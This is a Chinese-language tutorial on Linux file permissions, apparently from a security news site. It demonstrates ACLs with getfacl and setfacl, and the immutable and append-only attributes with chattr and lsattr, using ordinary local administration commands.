ACL 全稱 Access Control Lists 翻譯成中文叫」訪問控制列表」,傳統的 Linux 文件系統的許可權控制是通過 user、group、other 與 r(讀)、w(寫)、x(執行) 的不同組合來實現的。隨著應用的發展,這些許可權組合已不能適應現時複雜的文件系統許可權控制要求。 例如,目錄 /data 的許可權為:drwxr-x—,所有者與所屬組均為 root,在不改變所有者的前提下,要求用戶 tom 對該目錄有完全訪問許可權 (rwx).考慮以下2種辦法 (這裡假設 tom 不屬於 root group)
(1) 給 /data 的 other 類別增加 rwx permission,這樣由於 tom 會被歸為 other 類別,那麼他也將擁有 rwx 許可權。
(2) 將 tom 加入到 root group,為 root group 分配 rwx 許可權,那麼他也將擁有 rwx 許可權。
以上 2 種方法其實都不合適
為了解決這些問題,Linux 開發出了一套新的文件系統許可權管理方法,叫文件訪問控制列表 (Access Control Lists, ACL)。簡單地來說,ACL 就是可以設置特定用戶或者用戶組對於一個文件的操作許可權。
文件的所有者以及有CAP_FOWNER的用戶進程可以設置一個文件的acl。(在目前的linux系統上,root用戶是唯一有CAP_FOWNER能力的用戶)
ACL 有兩種:
access ACL
針對文件和目錄設置訪問控制列表。
一種是default ACL,只能針對目錄設置。如果目錄中的文件沒有設置 ACL,它就會使用該目錄的默認 ACL.
1)getfacl
獲取文件許可權
[root@vincent tmp]# getfacl 1.cap# file: 1.cap# owner: root# group: rootuser::rw-group::r--other::r--
2)setfacl
Access ACL
比如我設置/tmp/1.sh的other許可權為000,然後切換到vinc賬戶。
[vinc@vincent tmp]$ cat 1.shcat: 1.sh: 許可權不夠
然後我們添加ACL
[root@vincent opt]# setfacl -m u:vinc:rwx /tmp/1.sh
然後我們使用ll查看,發現第一個欄位文件許可權第十位變成了+號
[root@vincent tmp]# ll 1.sh-rwxrwx---+ 1 root root 512 8月 9 03:21 1.sh
然後我們使用getfacl查看
[vinc@vincent tmp]$ getfacl 1.sh# file: 1.sh# owner: root# group: rootuser::rwxuser:vinc:rwxgroup::r-xmask::rwxother::---
我們切換到vinc賬戶就可以查看內容了
[vinc@vincent tmp]$ cat 1.shtest
刪除這條ACL
[root@vincent tmp]# setfacl -x u:vinc /tmp/1.sh
取消所有的ACL
[root@vincent tmp]# setfacl -b /tmp/1.sh
Default ACl
前面所說都是access acl,針對文件而言,而default acl是指對於一個目錄進行default acl設置,並且在此目錄下建立的文件都將繼承此目錄的acl。
[root@vincent opt]# setfacl -d -m u:hehe:--- 1
來看下目錄1的許可權
[root@vincent opt]# getfacl -c 1user::rwxgroup::r-xother::r-xdefault:user::rwxdefault:user:hehe:---default:group::r-xdefault:mask::r-xdefault:other::r-x
我們在目錄1下新建的文件都將繼承這個許可權。我們在目錄1下新建一個文件,然後查看一下ACL
[vinc@vincent 1]$ getfacl 222# file: 222# owner: vinc# group: vincuser::rw-user:hehe:---group::r-x #effective:r--mask::r--other::r--
切換到hehe賬戶,查看文件,提示許可權不夠。
[hehe@vincent 1]$ cat /opt/1/222cat: /opt/1/222: 許可權不夠
lsattr和chattr
chattr
修改屬性能夠提高系統的安全 性,但是它並不適合所有的目錄。chattr命令不能保護/、/dev、/tmp、/var目錄
a:即append,設定該參數後,只能向文件中添加數據,而不能刪除,多用於伺服器日誌文件安全,只有root才能設定這個屬性。
i:設定文件不能被刪除、改名、設定鏈接關係,同時不能寫入或新增內容。i參數對於文件 系統的安全設置有很大幫助。
s:保密性地刪除文件或目錄,即硬碟空間被全部收回。
u:與s相反,當設定為u時,數據內容其實還存在磁碟中,可以用於undeletion。
例子:
設置/etc/resolv.conf為不可修改
[root@vincent tmp]# chattr +i /etc/resolv.conf [root@vincent tmp]# lsattr /etc/resolv.conf ----i--------e- /etc/resolv.conf[root@vincent tmp]# echo "" > /etc/resolv.conf -bash: /etc/resolv.conf: 許可權不夠
lsattr
查看文件許可權
[root@vincent tmp]# lsattr 1.txt -----a-------e- 1.txt
※使用FTP的系統控制後門作為C
※知名評論系統Disqus 2012年被黑,官方現在才發現用戶數據泄漏了
※Google:微軟優先給Windows 10修漏洞,讓舊版本系統用戶陷入危險之中
TAG:嘶吼RoarTalk |